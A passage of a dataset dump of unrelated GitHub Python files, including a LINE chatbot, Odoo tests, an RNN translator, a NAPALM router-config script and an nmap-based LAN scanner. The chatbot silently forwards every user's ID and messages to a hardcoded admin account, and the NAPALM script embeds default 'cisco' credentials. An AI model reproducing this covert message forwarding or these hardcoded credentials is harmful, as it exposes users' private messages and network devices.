)\r\n'''\r\n#指令系統,若觸發指令會回傳True\r\ndef Command(event):\r\n tempText = event.message.text.split(\",\")\r\n if tempText[0] == \"發送\" and event.source.user_id == \"Ub0778ded2c8eff813455c5a270089f46\":\r\n line_bot_api.push_message(tempText[1], TextSendMessage(text=tempText[2]))\r\n return True\r\n else:\r\n return False\r\n\r\n#回覆函式,指令 > 關鍵字 > 按鈕\r\ndef Reply(event):\r\n if not Command(event):\r\n Keyword(event)\r\n \r\n\r\n# 處理訊息\r\n@handler.add(MessageEvent, message=TextMessage)\r\ndef handle_message(event):\r\n try:\r\n Reply(event)\r\n \r\n line_bot_api.push_message(\"Ub0778ded2c8eff813455c5a270089f46\", TextSendMessage(text=event.source.user_id + \"說:\"))\r\n line_bot_api.push_message(\"Ub0778ded2c8eff813455c5a270089f46\", TextSendMessage(text=event.message.text))\r\n \r\n except Exception as e:\r\n line_bot_api.reply_message(event.reply_token, \r\n TextSendMessage(text=str(e)))\r\n\r\n#處理Postback\r\n'''@handler.add(PostbackEvent)\r\ndef handle_postback(event):\r\n command = event.postback.data.split(',')\r\n if command[0] == \"有\":\r\n line_bot_api.reply_message(event.reply_token, \r\n TextSendMessage(text=\"恩恩很好\"))\r\n \r\n@handler.add(MessageEvent, message=StickerMessage)\r\ndef handle_sticker_message(event):\r\n line_bot_api.reply_message(\r\n event.reply_token,\r\n StickerSendMessage(\r\n package_id=event.message.package_id,\r\n sticker_id=event.message.sticker_id)\r\n )\r\n'''\r\nimport os\r\nif __name__ == \"__main__\":\r\n port = int(os.environ.get('PORT', 5000))\r\n app.run(host='0.0.0.0', port=port)\r\n","repo_name":"aaron0301/line1","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71141150479","text":"from datetime import datetime\n\nfrom odoo.exceptions import UserError # ValidationError,\nfrom odoo.tests.common import TransactionCase\n\n\nclass TestPurchaseOrderArchive(TransactionCase):\n def setUp(self):\n super().setUp()\n\n self.purchase_order_obj = self.env[\"purchase.order\"]\n product_id = self.env.ref(\"product.product_product_9\")\n vals = {\n \"partner_id\": self.env.ref(\"base.res_partner_1\").id,\n \"order_line\": [\n (\n 0,\n 0,\n {\n \"name\": product_id.name,\n \"product_id\": product_id.id,\n \"product_qty\": 1.0,\n \"product_uom\": self.env.ref(\"uom.product_uom_unit\").id,\n \"price_unit\": 121.0,\n \"date_planned\": datetime.today(),\n },\n )\n ],\n }\n self.po_draft = self.env[\"purchase.order\"].create(vals)\n self.po_sent = self.env[\"purchase.order\"].create(vals)\n self.po_sent.write({\"state\": \"sent\"})\n self.po_to_approve = self.env[\"purchase.order\"].create(vals)\n self.po_to_approve.write({\"state\": \"to approve\"})\n self.po_purchase = self.env[\"purchase.order\"].create(vals)\n self.po_purchase.button_confirm()\n self.po_done = self.env[\"purchase.order\"].create(vals)\n self.po_done.button_confirm()\n self.po_done.button_done()\n self.po_cancel = self.env[\"purchase.order\"].create(vals)\n self.po_cancel.button_cancel()\n\n def test_archive(self):\n with self.assertRaises(UserError):\n self.po_draft.toggle_active()\n with self.assertRaises(UserError):\n self.po_sent.toggle_active()\n with self.assertRaises(UserError):\n self.po_to_approve.toggle_active()\n with self.assertRaises(UserError):\n self.po_purchase.toggle_active()\n self.po_done.toggle_active()\n self.assertEqual(self.po_done.active, False)\n self.po_cancel.toggle_active()\n self.assertEqual(self.po_cancel.active, False)\n","repo_name":"OCA/purchase-workflow","sub_path":"purchase_order_archive/tests/test_purchase_order_archive.py","file_name":"test_purchase_order_archive.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"29"} +{"seq_id":"71912299598","text":"#Run the load.building_energy.py script, to set `train`\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt \n\n#Make the correlations and download to a Pandas frame\nres = train[x].cor(train[y]).as_data_frame()\nres.index = x\n\n#res.plot.barh();plt.show() is enough to draw the bar chart.\n#All the rest of this code is making it pretty, with labels on each bar.\n\nax = res.plot.barh(xlim=[-1.1,+1.15])\nfor p in ax.patches:\n if p.get_x() < 0:\n ax.annotate(\"-%.2f\" % p.get_width(), (p.get_x() -0.05 , p.get_y()), ha=\"right\", va=\"center\", xytext=(5, 10), textcoords='offset points')\n else: \n ax.annotate(\"%.2f\" % p.get_width(), (p.get_x() + p.get_width() +0.03, p.get_y()), va=\"center\", xytext=(5, 10), textcoords='offset points')\n\nplt.show()\n","repo_name":"DarrenCook/h2o","sub_path":"code/building_energy_correlations.py","file_name":"building_energy_correlations.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"29"} +{"seq_id":"73901528397","text":"import collections\nimport numpy as np\n\nimport enc_dec\n\nfile = \"datasets/ewe.txt\"\nfile2 = \"datasets/fr.txt\"\n\nwith open(file, 'r', encoding=\"utf8\") as f:\n lines = f.read().split(\"\\n\")[:-1]\n\nwith open(file2, 'r', encoding=\"utf8\") as f2:\n lines2 = f2.read().split(\"\\n\")[:-1]\n\newe_sentences = []\nfr_sentences = []\ntext_pairs = []\nfor line2 in lines2:\n fr_sentences.append(line2.split('\\t')[-1])\n\nfor line in lines:\n ewe_sentences.append(line.split('\\t')[-1])\n\nfor sample_i in range(2):\n print('small_vocab_en Line {}: {}'.format(sample_i + 1, ewe_sentences[sample_i]))\n print('small_vocab_fr Line {}: {}'.format(sample_i + 1, fr_sentences[sample_i]))\n\n# ----------------------------------------------------#\n# ---------------------STEP ONE-----------------------#\n# ----------------------------------------------------#\newe_words_counter = collections.Counter([word for sentence in ewe_sentences for word in sentence.split()])\nfr_words_counter = collections.Counter([word for sentence in fr_sentences for word in sentence.split()])\nprint('{} Ewe words.'.format(len([word for sentence in ewe_sentences for word in sentence.split()])))\nprint('{} unique Ewe words.'.format(len(ewe_words_counter)))\nprint('10 Most common words in the Ewe dataset:')\nprint('\"' + '\" \"'.join(list(zip(*ewe_words_counter.most_common(10)))[0]) + '\"')\nprint()\nprint('{} French words.'.format(len([word for sentence in fr_sentences for word in sentence.split()])))\nprint('{} unique French words.'.format(len(fr_words_counter)))\nprint('10 Most common words in the French dataset:')\nprint('\"' + '\" \"'.join(list(zip(*fr_words_counter.most_common(10)))[0]) + '\"')\n\n\n# Tokenize Example output\ntext_sentences = [\n 'Tonye be, ablɔɖe vavãe nye be miaɖu nu aɖi ƒo .',\n 'ɣetrɔ sia ƒe nuɖuɖu nye fufu kple fufutsi si me agbitsã, dotɛ kple kanami le .',\n 'nyawoe .']\ntext_tokenized, text_tokenizer = enc_dec.tokenize(text_sentences)\nprint(text_tokenizer.word_index)\nprint()\nfor sample_i, (sent, token_sent) in enumerate(zip(text_sentences, text_tokenized)):\n print('Sequence {} in x'.format(sample_i + 1))\n print(' Input: {}'.format(sent))\n print(' Output: {}'.format(token_sent))\n\n\n# Pad Tokenized output\ntest_pad = enc_dec.pad(text_tokenized)\nfor sample_i, (token_sent, pad_sent) in enumerate(zip(text_tokenized, test_pad)):\n print('Sequence {} in x'.format(sample_i + 1))\n print(' Input: {}'.format(np.array(token_sent)))\n print(' Output: {}'.format(pad_sent))\n\n\npreproc_ewe_sentences, preproc_fr_sentences, ewe_tokenizer, fr_tokenizer = \\\n enc_dec.preprocess(ewe_sentences, fr_sentences)\n\nmax_ewe_sequence_length = preproc_ewe_sentences.shape[1]\nmax_fr_sequence_length = preproc_fr_sentences.shape[1]\newe_vocab_size = len(ewe_tokenizer.word_index)\nfr_vocab_size = len(fr_tokenizer.word_index)\nprint('Data Preprocessed')\nprint(\"Max Ewe sentence length:\", max_ewe_sequence_length)\nprint(\"Max French sentence length:\", max_fr_sequence_length)\nprint(\"Ewe vocabulary size:\", ewe_vocab_size)\nprint(\"French vocabulary size:\", fr_vocab_size)\n\n\n# Reshaping the input to work with a basic RNN\ntmp_x = enc_dec.pad(preproc_ewe_sentences, max_fr_sequence_length)\ntmp_x = tmp_x.reshape((-1, preproc_fr_sentences.shape[-2], 1))\nsimple_rnn_model = enc_dec.simple_model(\n tmp_x.shape,\n max_fr_sequence_length,\n ewe_vocab_size,\n fr_vocab_size)\nsimple_rnn_model.fit(tmp_x, preproc_fr_sentences, batch_size=300, epochs=10, validation_split=0.2)\n\n\nprint(enc_dec.logits_to_text(simple_rnn_model.predict(tmp_x[:1])[0], fr_tokenizer))\n\n\n# TODO: Reshape the input\ntmp_x = enc_dec.pad(preproc_ewe_sentences, preproc_fr_sentences.shape[1])\ntmp_x = tmp_x.reshape((-1, preproc_fr_sentences.shape[-2]))\n# TODO: Train the neural network\nembed_rnn_model = enc_dec.embed_model(\n tmp_x.shape,\n preproc_fr_sentences.shape[1],\n len(ewe_tokenizer.word_index) + 1,\n len(fr_tokenizer.word_index)+1)\nembed_rnn_model.fit(tmp_x, preproc_fr_sentences, batch_size=300, epochs=10, validation_split=0.2)\n\nprint(ewe_sentences[:1])\nprint(fr_sentences[:1])\n\nprint(enc_dec.logits_to_text(embed_rnn_model.predict(tmp_x[:1])[0], fr_tokenizer))\n\n# Train and Print prediction(s)\ntmp_x = enc_dec.pad(preproc_ewe_sentences, preproc_fr_sentences.shape[1])\ntmp_x = tmp_x.reshape((-1, preproc_fr_sentences.shape[-2], 1))\n# Train and Print prediction(s)\nbd_rnn_model = enc_dec.bd_model(\n tmp_x.shape,\n preproc_fr_sentences.shape[1],\n len(ewe_tokenizer.word_index)+1,\n len(fr_tokenizer.word_index)+1)\nbd_rnn_model.fit(tmp_x, preproc_fr_sentences, batch_size=300, epochs=10, validation_split=0.2)\n\ntmp_x = enc_dec.pad(preproc_ewe_sentences, preproc_fr_sentences.shape[1])\ntmp_x = tmp_x.reshape((-1, preproc_fr_sentences.shape[-2], 1))\n# Train and Print prediction(s)\ned_rnn_model = enc_dec.encdec_model(\n tmp_x.shape,\n preproc_fr_sentences.shape[1],\n len(ewe_tokenizer.word_index)+1,\n len(fr_tokenizer.word_index)+1)\ned_rnn_model.fit(tmp_x, preproc_fr_sentences, batch_size=300, epochs=10, validation_split=0.2)\n\nenc_dec.final_predictions(preproc_ewe_sentences, preproc_fr_sentences, ewe_tokenizer, fr_tokenizer)","repo_name":"Kevram73/conda_seq","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35887737178","text":"#script with napalm lib to verify acl and ospf configuration on a router \nimport json\nfrom napalm import get_network_driver\ndriver = get_network_driver('ios')\niosvl2 = driver('192.168.122.62', 'cisco', 'cisco')\niosvl2.open()\n\nprint ('Accessing 192.168.122.62')\niosvl2.load_merge_candidate(filename='ACL.txt')\n\ndiffs = iosvl2.compare_config()\nif len(diffs) > 0:\n print(diffs)\n iosvl2.commit_config()\nelse:\n print('No ACL changes required.')\n iosvl2.discard_config()\n\niosvl2.load_merge_candidate(filename='ospf.txt')\n\ndiffs = iosvl2.compare_config()\nif len(diffs) > 0:\n print(diffs)\n iosvl2.commit_config()\nelse:\n print('No OSPF changes required.')\n iosvl2.discard_config()\n\niosvl2.close()\n","repo_name":"momed081/automation-network1","sub_path":"napalm/napalm-acl-ospf.py","file_name":"napalm-acl-ospf.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5226977383","text":"import json\nfrom math import exp\n\nimport numpy as np\n\n\ndef get_entries(file_path, flag):\n dict = {}\n with open(file_path) as datafile:\n for line in datafile:\n dict[line.strip()] = flag\n return dict\n\n\ndef get_cluster(file):\n lookup_dict = {}\n aspect_index = {}\n index = 0\n with open(file) as datafile:\n for line in datafile:\n aspect = line.split(\":\")[0].strip()\n aspect_index[aspect] = index\n index += 1\n features = line.split(\":\")[1].strip().split(\",\")\n for feature in features:\n feature = feature.strip();\n lookup_dict[feature] = aspect\n return [lookup_dict, aspect_index]\n\n\ndef get_reviews(file_path):\n user_dict = {}\n product_dict = {}\n with open(file_path) as datafile:\n for line in datafile:\n json_data = json.loads(line)\n user_id = json_data[\"userID\"]\n product_id = json_data[\"productID\"]\n overall = json_data[\"overall\"]\n feature = json_data[\"feature\"]\n opinion = json_data[\"opinion\"]\n if user_id not in user_dict:\n user_dict[user_id] = []\n if product_id not in product_dict:\n product_dict[product_id] = []\n user_dict[user_id].append([feature, opinion])\n product_dict[product_id].append([feature, opinion])\n return [user_dict, product_dict]\n\n\ndef get_index(user_dict, product_dict):\n user_index = {}\n product_index = {}\n index = 0\n for user in user_dict.keys():\n user_index[user] = index\n index += 1\n index = 0\n for product in product_dict.keys():\n product_index[product] = index\n index += 1\n return [user_index, product_index]\n\n\ndef get_user_item_matrix(file_path, user_index, product_index):\n num_users = len(user_index)\n num_product = len(product_index)\n result = np.zeros((num_users, num_product))\n with open(file_path) as datafile:\n for line in datafile:\n json_data = json.loads(line)\n user_id = json_data[\"userID\"]\n product_id = json_data[\"productID\"]\n user = user_index[user_id]\n product = product_index[product_id]\n overall = json_data[\"overall\"]\n result[user, product] = overall\n return result\n\n\ndef get_user_feature_matrix(user_dict, user_index, lookup_dict, aspect_index, N):\n result = np.zeros((len(user_index), len(aspect_index)))\n for key in user_dict.keys():\n index_user = user_index[key]\n user_reviews = user_dict[key]\n count_dict = {}\n for review in user_reviews:\n feature = review[0]\n if feature not in lookup_dict:\n continue\n aspect = lookup_dict[feature]\n if aspect not in count_dict:\n count_dict[aspect] = 0;\n count_dict[aspect] += 1\n for aspect in count_dict.keys():\n index_aspect = aspect_index[aspect]\n count = count_dict[aspect]\n result[index_user, index_aspect] = 1 + (N - 1) * (2 / (1 + exp(-count)) - 1)\n return result\n\n\ndef get_product_feature_matrix(product_dict, product_index, lookup_dict, aspect_index, N, neg_dict, pos_dict):\n result = np.zeros((len(product_index), len(aspect_index)))\n for key in product_dict.keys():\n index_product = product_index[key]\n product_reviews = product_dict[key]\n count_dict = {}\n for review in product_reviews:\n reverse = False\n feature = review[0]\n opinion = review[1]\n neg_set = [\"not\", \"n't\"]\n if feature not in lookup_dict:\n continue\n if len(opinion.split()) > 1 and opinion.split()[0] in neg_set:\n reverse = True\n opinion = opinion.split()[1]\n if opinion in neg_dict:\n s = -1\n elif opinion in pos_dict:\n s = 1\n else:\n continue\n if reverse:\n s = -s\n aspect = lookup_dict[feature]\n if aspect not in count_dict:\n count_dict[aspect] = [];\n count_dict[aspect].append(s)\n for aspect in count_dict.keys():\n index_aspect = aspect_index[aspect]\n count = sum(count_dict[aspect])\n result[index_product, index_aspect] = 1 + (N - 1) / (1 + exp(-count))\n return result\n\n\nif __name__ == \"__main__\":\n feature_cluster_path = \"../data/Cell_Phones_and_Accessories_5/feature-cluster.txt\"\n reviews_path = \"../data/Cell_Phones_and_Accessories_5/extractedReviews.txt\"\n neg_entries = \"../data/Cell_Phones_and_Accessories_5/opinion-lexicon-English/negative-words.txt\"\n pos_entries = \"../data/Cell_Phones_and_Accessories_5/opinion-lexicon-English/positive-words.txt\"\n [lookup_dict, aspect_index] = get_cluster(feature_cluster_path)\n [user_dict, product_dict] = get_reviews(reviews_path)\n [user_index, product_index] = get_index(user_dict, product_dict)\n user_item_matrix = get_user_item_matrix(reviews_path, user_index, product_index)\n user_feature_matrix = get_user_feature_matrix(user_dict, user_index, lookup_dict, aspect_index, 5)\n neg_dict = get_entries(neg_entries, -1)\n pos_dict = get_entries(pos_entries, 1)\n product_feature_matrix = get_product_feature_matrix(product_dict, product_index, lookup_dict, aspect_index, 5,\n neg_dict, pos_dict)\n","repo_name":"wubinzzu/Explainable-Recommendation","sub_path":"training/get_matrices.py","file_name":"get_matrices.py","file_ext":"py","file_size_in_byte":5532,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"1182984715","text":"import mock\n\nfrom st2common.constants.action import LIVEACTION_STATUS_SUCCEEDED\nfrom st2common.services import action as action_service\nfrom st2tests.fixturesloader import FixturesLoader\nfrom tests import FunctionalTest\n\nFIXTURES_PACK = 'aliases'\n\nTEST_MODELS = {\n 'aliases': ['alias1.yaml', 'alias2.yaml'],\n 'actions': ['action1.yaml'],\n 'runners': ['runner1.yaml']\n}\n\nTEST_LOAD_MODELS = {\n 'aliases': ['alias3.yaml']\n}\n\n\nclass DummyActionExecution(object):\n def __init__(self, id_=None, status=LIVEACTION_STATUS_SUCCEEDED, result=''):\n self.id = id_\n self.status = status\n self.result = result\n\n\nclass TestAliasExecution(FunctionalTest):\n\n models = None\n alias1 = None\n alias2 = None\n\n @classmethod\n def setUpClass(cls):\n super(TestAliasExecution, cls).setUpClass()\n cls.models = FixturesLoader().save_fixtures_to_db(fixtures_pack=FIXTURES_PACK,\n fixtures_dict=TEST_MODELS)\n cls.alias1 = cls.models['aliases']['alias1.yaml']\n cls.alias2 = cls.models['aliases']['alias2.yaml']\n\n @mock.patch.object(action_service, 'request',\n return_value=(None, DummyActionExecution(id_=1)))\n def testBasicExecution(self, request):\n command = 'Lorem ipsum value1 dolor sit \"value2 value3\" amet.'\n post_resp = self._do_post(alias_execution=self.alias1, command=command)\n self.assertEqual(post_resp.status_int, 200)\n expected_parameters = {'param1': 'value1', 'param2': 'value2 value3'}\n self.assertEquals(request.call_args[0][0].parameters, expected_parameters)\n\n @mock.patch.object(action_service, 'request',\n return_value=(None, DummyActionExecution(id_=1)))\n def testExecutionWithArrayTypeSingleValue(self, request):\n command = 'Lorem ipsum value1 dolor sit value2 amet.'\n post_resp = self._do_post(alias_execution=self.alias2, command=command)\n self.assertEqual(post_resp.status_int, 200)\n expected_parameters = {'param1': 'value1', 'param3': ['value2']}\n self.assertEquals(request.call_args[0][0].parameters, expected_parameters)\n\n @mock.patch.object(action_service, 'request',\n return_value=(None, DummyActionExecution(id_=1)))\n def testExecutionWithArrayTypeMultiValue(self, request):\n command = 'Lorem ipsum value1 dolor sit \"value2, value3\" amet.'\n post_resp = self._do_post(alias_execution=self.alias2, command=command)\n self.assertEqual(post_resp.status_int, 200)\n expected_parameters = {'param1': 'value1', 'param3': ['value2', 'value3']}\n self.assertEquals(request.call_args[0][0].parameters, expected_parameters)\n\n def _do_post(self, alias_execution, command, expect_errors=False):\n execution = {'name': alias_execution.name,\n 'format': alias_execution.formats[0],\n 'command': command,\n 'user': 'stanley',\n 'source_channel': 'test',\n 'notification_route': 'test'}\n return self.app.post_json('/v1/aliasexecution', execution,\n expect_errors=expect_errors)\n","repo_name":"lu-chi/st2","sub_path":"st2api/tests/unit/controllers/v1/test_alias_execution.py","file_name":"test_alias_execution.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"27032077031","text":"import PyPDF2\n\npdfFileObj = open('YieldBook2016_Part7.pdf', 'rb')\npdfReader = PyPDF2.PdfFileReader(pdfFileObj)\n\npageObj = pdfReader.getPage(0)\np_text = pageObj.extractText()\nfunctionlist = ['f','h','adj','i','gr','foliar ','m','water conditioner']\n\n\n#returns list but only for this page of 2016 because the\n#extra entries have length<3\ndef findtradenames(string):\n w = string.splitlines()\n z=[]\n for line in w:\n if (line[0].isupper() == True):\n z.append(line)\n for zline in z:\n if (len(zline) <= 2) == True:\n z.remove(zline)\n return z\n\nprint(findtradenames(p_text))\nprint(len(findtradenames(p_text)))\n","repo_name":"Rothamsted-Ecoinformatics/YieldBookDataTools","sub_path":"Text Mining/findtradenames-fix.py","file_name":"findtradenames-fix.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35841940013","text":"from functools import wraps\nfrom .hellolan import *\nfrom .ssh import *\n\nPRESETS = {\n 'ssh': 22, 'web': '80,443',\n}\n\ndef main():\n '''Hellolan CLI'''\n import fire\n fire.Fire({\n 'get': partial(getall, n=1),\n 'getall': getall,\n 'scan': _gentable(scan),\n **{k: _gentable(get_preset(k)) for k in PRESETS},\n 'ssh-': ssh_into,\n 'hostname': hostname,\n 'me': me,\n })\n\ndef ssh_main():\n '''SSH Into CLI'''\n import fire\n fire.Fire(ssh_into)\n\n\ndef getall(col, hostname=None, preset=None, *a, **kw):\n return [d[col] for d in get_preset(preset)(hostname, *a, **kw)]\n\n\ndef get_preset(name):\n if name not in PRESETS:\n return scan\n kw = PRESETS[name]\n return partial(scan, **(kw if isinstance(kw, dict) else {'port': kw}))\n\n\ndef _loop(n):\n if n:\n yield from range(n)\n else:\n i = 0\n while True:\n yield i\n i += 1\n\ndef _dict_update(prev, new):\n prev, new = prev or {}, new or {}\n return dict(prev, **{k: new[k] or prev.get(k) for k in new})\n\ndef _dict_drop(d, *keys):\n return {k: v for k, v in d.items() if k not in keys}\n\ndef _gentable(func):\n '''Will print out rows of a table as they are generated by func(*a, **kw).\n I've found out that it's not super necessary because nmap.PortScanner\n yields most things toward the end anyways. So I may end up removing reprint.\n '''\n import time\n import functools\n import itertools\n from tabulate import tabulate\n\n # def _watch(disp, *a, headers=None, times=None, timer=True, **kw):\n def watchable(disp):\n @functools.wraps(disp)\n def outer(*a, watch=False, headers=None, times=None, timer=True, **kw):\n if not watch:\n # return _watch((lambda data: disp(data, headers)), *a, times=times, timer=timer, **kw)\n result = func(*a, **kw)\n print(disp(list(result), headers=headers))\n return result\n\n import datetime\n import reprint\n items = {}\n with reprint.output() as out:\n try:\n out.append('Starting scan...')\n for i in _loop(times):\n t0 = time.time()\n j = 0\n for j, x in enumerate(func(*a, **kw)):\n items[x['ip']] = _dict_update(items.get(x['ip']), x)\n out.change(disp(list(items.values()), headers).splitlines())\n if timer:\n out.append('Scan {} finished at {}. took {:.1f}s. Found {} hosts.'.format(\n i+1, datetime.datetime.now().strftime('%c'),\n time.time() - t0, len(items)))\n except KeyboardInterrupt:\n out.change(disp(list(items.values())).splitlines())\n return list(items.values())\n return outer\n\n @watchable\n def table(items, headers=None, sort='ip'):\n if isinstance(items, dict):\n items = list(items.values())\n if not headers and items and isinstance(items[0], dict):\n headers = 'keys'\n if sort:\n items = sorted(items, key=lambda x: natsort_key(x[sort]))\n return tabulate(items, headers=headers or ())\n\n @watchable\n def parseable(data, headers=None):\n headers = headers or set().union(*(d.keys() for d in data))\n return '\\n'.join([\n '\\t'.join(str(d.get(c)) or '' for c in headers)\n for d in data\n ])\n\n @watchable\n def as_json(data, headers=None):\n import json\n headers = headers or len(data) and data[0].keys() or ()\n data = ([d[headers[0]] for d in data] if len(headers) == 1 else\n [{c: d[c] for c in headers} for d in data])\n return json.dumps(data, indent=4)\n\n def save_json(out, result, inventory=None):\n import json\n with open(out, 'w') as f:\n if inventory:\n if isinstance(inventory, str):\n inventory = inventory.split('&')\n inventory = (i.split('=') for i in inventory)\n res = {\n group: [x['ip'] for x in result if matches(x, pat)]\n for group, pat in inventory\n }\n else:\n res = {\n d['ip']: _dict_drop(d, 'ip', 'ports') for d in result\n }\n json.dump(res, f)\n\n @functools.wraps(func)\n def inner(*a, headers=None, iplist=False, tab=False, timer=True, json=False, out=None, inventory=None, **kw):\n t0 = time.time()\n if iplist:\n headers, tab = (headers or ('ip',)), True\n if json:\n result = as_json(*a, headers=headers, timer=timer, **kw)\n elif tab:\n result = parseable(*a, headers=headers, timer=timer, **kw)\n else:\n result = table(*a, headers=headers, timer=timer, **kw)\n if out:\n save_json(out, result, inventory=inventory)\n if timer and not tab and not json:\n print('-')\n print('Took {:.1f} seconds'.format(time.time() - t0))\n return inner\n\ndef partial(func, *a, **kw):\n '''functools.partial doesn't apply wraps ???? wtf ??? it's right there......'''\n return wraps(func)(lambda *ai, **kwi: func(*a, *ai, **kw, **kwi))\n\nimport re\ndef natsort_key(s, _nsre=re.compile('([0-9]+)')):\n return tuple(int(t) if t.isdigit() else t.lower() for t in _nsre.split(s))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"beasteers/hellolan","sub_path":"hellolan/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"39387136651","text":"\"\"\"Some generic utilities.\"\"\"\n\nimport sys\nimport time\nimport math\nimport json\nimport string\nimport random\nimport datetime\nimport contextlib\nfrom pathlib import Path\n\nfrom colorama import Fore, Style\n_ = sys\n\n\ndprint = print\n\n\nclass ColorPrint:\n \"\"\"Print in color.\"\"\"\n\n def __init__(self, color):\n \"\"\"Initialize.\"\"\"\n self.color = color\n\n def __enter__(self):\n \"\"\"Initiate the color.\"\"\"\n color_to_fore = {}\n try:\n fore_color = color_to_fore[self.color]\n except KeyError:\n fore_color = getattr(Fore, self.color.upper())\n print(fore_color, end=\"\")\n\n def __exit__(self, exc_type, exc_value, exc_traceback):\n _ = exc_type, exc_value, exc_traceback\n print(Style.RESET_ALL, end=\"\")\n\n\ndef human_duration(duration):\n \"\"\"Write a human readable duration (in seconds)\"\"\"\n hours = int(duration // 3600)\n minutes = int(duration // 60 % 60)\n seconds = int(duration % 60)\n return f\"{hours}h{minutes}m{seconds}s\"\n\n\ndef random_string(length):\n \"\"\"Return a random string of letters of the given length.\"\"\"\n rn_list = [random.choice(string.ascii_letters) for _ in range(1, length)]\n return \"\".join(rn_list)\n\n\ndef human_timestamp(now=None, format_str=None):\n \"\"\"Return a human readable timestamp.\"\"\"\n if now is None:\n now = time.time()\n if format_str is None:\n format_str = \"%Z - %A %Y/%B/%d, %H:%M:%S\"\n local_time = time.localtime(now)\n return time.strftime(format_str, local_time)\n\n\ndef json_serial(obj):\n \"\"\"Serialize the datetime.\"\"\"\n if isinstance(obj, datetime.datetime):\n timestamp = obj.timestamp()\n return human_timestamp(timestamp)\n with contextlib.suppress(AttributeError):\n return obj.to_json()\n return str(obj)\n\n\ndef print_json(json_dict, pretty=True):\n \"\"\"Print the json\"\"\"\n str_json = json_to_str(json_dict, pretty=pretty)\n print(str_json)\n\n\ndef json_to_str(json_dict, pretty=False, default=None):\n \"\"\"Return a string representation of the given json.\"\"\"\n default = default or json_serial\n if pretty:\n return json.dumps(json_dict,\n sort_keys=True,\n indent=4,\n default=default)\n return json.dumps(json_dict, default=json_serial)\n\n\ndef write_json_file(json_dict,\n filename,\n pretty=False,\n default=None,\n parents=False):\n \"\"\"Write the dictionary in the given file.\"\"\"\n if parents:\n parent = filename.parent\n parent.mkdir(parents=True, exist_ok=True)\n my_str = json_to_str(json_dict, pretty=pretty, default=default)\n with open(filename, 'w') as json_file:\n json_file.write(my_str)\n\n\ndef read_json_file(json_path, default=None):\n \"\"\"\n Return the given json file as dictionary.\n\n @param {string} `json_path`\n @return {dictionary}\n \"\"\"\n json_path = Path(json_path)\n if not json_path.is_file():\n if default is None:\n raise ValueError(f\"You try to read {json_path}. \"\n f\"The file does not exist and you \"\n f\"furnished no default.\")\n return default\n with open(json_path, 'r') as json_data:\n try:\n answer = json.load(json_data)\n except json.decoder.JSONDecodeError as err:\n print(\"JSONDecodeError:\", err)\n message = f\"Json error in {json_path}:\\n {err}\"\n raise ValueError(message) from err\n return answer\n\n\ndef human_seconds(total):\n \"\"\"\n Return a human readable time.\n\n `total` is a number of seconds and we return xxh:yym:zzs\n \"\"\"\n days = math.floor(total / 86400)\n remainder = total - 86400 * days\n hours = math.floor(remainder / 3600)\n remainder = remainder - 3600 * hours\n minutes = math.floor(remainder / 60)\n remainder = remainder - 60 * minutes\n seconds = round(remainder)\n answer = \" \"\n if days:\n answer = f\"{days}j\"\n answer = answer + f\"{hours}h{minutes}m{seconds}s\"\n return answer.ljust(12)\n\n\ndef ciao(text=None):\n \"\"\"Exit the program.\"\"\"\n print(\"ciao!\")\n if text:\n print(\"\")\n print(text)\n if random.random() < 2:\n sys.exit(1)\n","repo_name":"LaurentClaessens/mazhe","sub_path":"make_book/src/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"29"} +{"seq_id":"38456899778","text":"import random as r\nimport time as t\n\nttt = [\n [' ', ' ', ' '],\n [' ', ' ', ' '],\n [' ', ' ', ' ']\n]\n\ndef printTTT():\n for row in ttt:\n print(row)\n\n\ndef keepGoing():\n for row in ttt:\n for value in row:\n if value == ' ':\n return True\n return False\n\ndef theWinnerIs():\n if ttt[0][0] + ttt[0][1] + ttt[0][2] == 'OOO' or \\\n ttt[1][0] + ttt[1][1] + ttt[1][2] == 'OOO' or \\\n ttt[2][0] + ttt[2][1] + ttt[2][2] == 'OOO' or \\\n ttt[0][0] + ttt[1][0] + ttt[2][0] == 'OOO' or \\\n ttt[0][1] + ttt[1][1] + ttt[2][1] == 'OOO' or \\\n ttt[0][2] + ttt[1][2] + ttt[2][2] == 'OOO' or \\\n ttt[0][0] + ttt[1][1] + ttt[2][2] == 'OOO' or \\\n ttt[0][2] + ttt[1][1] + ttt[2][0] == 'OOO' :\n print('使用者贏')\n return True\n\n if ttt[0][0] + ttt[0][1] + ttt[0][2] == 'XXX' or \\\n ttt[1][0] + ttt[1][1] + ttt[1][2] == 'XXX' or \\\n ttt[2][0] + ttt[2][1] + ttt[2][2] == 'XXX' or \\\n ttt[0][0] + ttt[1][0] + ttt[2][0] == 'XXX' or \\\n ttt[0][1] + ttt[1][1] + ttt[2][1] == 'XXX' or \\\n ttt[0][2] + ttt[1][2] + ttt[2][2] == 'XXX' or \\\n ttt[0][0] + ttt[1][1] + ttt[2][2] == 'XXX' or \\\n ttt[0][2] + ttt[1][1] + ttt[2][0] == 'XXX' :\n print('電腦贏')\n return True\n\n return False\n\ndef play():\n # 使用者玩「O」\n if not keepGoing(): # 